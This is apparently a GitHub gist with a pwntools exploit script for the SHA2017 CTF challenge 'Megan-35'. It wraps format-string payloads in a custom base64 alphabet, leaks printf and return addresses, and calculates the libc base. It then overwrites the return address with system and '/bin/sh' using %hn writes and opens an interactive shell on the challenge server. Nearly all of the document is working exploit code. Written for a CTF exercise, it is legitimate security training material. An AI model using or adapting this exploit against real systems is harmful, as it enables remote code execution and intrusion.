Writeup for CTF challenge: https://b0tchsec.com/2017/sha2017/megan-35
#!/usr/bin/env python2 | |
import base64 | |
from pwn import * | |
HOST='megan35.stillhackinganyway.nl' | |
PORT='3535' | |
REMOTE=True | |
DEBUG=False | |
FNAME='./megan-35' | |
######################################################################################### | |
# Megan-35 implementation from: https://gist.github.com/tunelko/49b7e64c1688d62d0ecd | |
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" | |
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" | |
class B64weird_encodings: | |
def __init__(self, translation): | |
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" | |
self.srch = dict(zip(b, translation)) | |
self.revlsrch = dict(zip(translation, b)) | |
def encode(self, pt): | |
global srch | |
b64 = base64.b64encode(pt) | |
r = "".join([self.srch[x] for x in b64]) | |
return r | |
def encode(variant, pt): | |
encoder = B64weird_encodings(variant) | |
return encoder.encode(pt) | |
######################################################################################### | |
def getp(): | |
p = None | |
if REMOTE: | |
p = remote(HOST,PORT) | |
elif DEBUG: | |
p = process(['gdbserver', 'localhost:4200', FNAME]) | |
else: | |
p = process([FNAME]) | |
p.recvuntil('encryption.\n') | |
return p | |
def dump_addrs(stop_at_str): | |
for i in range(0,500): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%' | |
payload += str(i) | |
payload += '$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
print(ret) | |
if stop_at_str in ret: | |
print(i) | |
print('Found it!') | |
return i | |
def get_retn_addr(): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%96$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
ret = ret.replace('AAAA','') | |
return u32(ret.decode('hex')[::-1])+0xc | |
def get_printf_addr(): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%46$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
ret = ret.replace('AAAA','') | |
return u32(ret.decode('hex')[::-1])+0x35D3B | |
def find_arg_offset(): | |
for i in range(0,500): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%' | |
payload += str(i) | |
payload += '$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
print(ret) | |
if '41414141' in ret: | |
print(i) | |
print('Found it!') | |
return i | |
# Find the arg offset == 71 | |
#find_arg_offset() | |
# looking for something close to retn addr (arg 80) | |
#dump_addrs('ffffd2c') | |
# looking for something close to libc addr | |
#dump_addrs('f7e') | |
# Leak the printf addr so that we can calculate the libc base address | |
printf_addr = get_printf_addr() | |
print('printf== 0x%x' % printf_addr) | |
# Leak the return address | |
retn_addr = get_retn_addr() | |
print('0x%x' % retn_addr) | |
# Calculate libc addresses | |
libc = ELF('./libc.so.6') | |
libc.address = printf_addr - libc.symbols['printf'] | |
addr_system = libc.symbols['system'] | |
addr_binsh = next(libc.search('/bin/sh\x00')) | |
# Split the libc addresses into halfs (2 bytes) and sort from least to greatest | |
# Also create a dictionary mapping libc addresses to their desired destination on the stack | |
addrs = [] | |
addr_dict = {} | |
addrs.append(addr_system >> 16) | |
addr_dict[addr_system >> 16] = retn_addr+2 | |
addrs.append(addr_system & 0x0000ffff) | |
addr_dict[addr_system & 0x0000ffff] = retn_addr | |
addrs.append(addr_binsh >> 16) | |
addr_dict[addr_binsh >> 16] = retn_addr+8+2 | |
addrs.append(addr_binsh & 0x0000ffff) | |
addr_dict[addr_binsh & 0x0000ffff] = retn_addr+8 | |
addrs.sort() | |
# Build the exploit | |
p = getp() | |
fmt = '' | |
fmt += p32(addr_dict[addrs[0]]) | |
fmt += p32(addr_dict[addrs[1]]) | |
fmt += p32(addr_dict[addrs[2]]) | |
fmt += p32(addr_dict[addrs[3]]) | |
fmt += '%' + str((addrs[0]-(16))) + 'x%71$hn' | |
fmt += '%' + str((addrs[1]-addrs[0])) + 'x%72$hn' | |
fmt += '%' + str((addrs[2]-addrs[1])) + 'x%73$hn' | |
fmt += '%' + str((addrs[3]-addrs[2])) + 'x%74$hn' | |
# Execute the exploit | |
payload = encode(megan35, fmt) | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment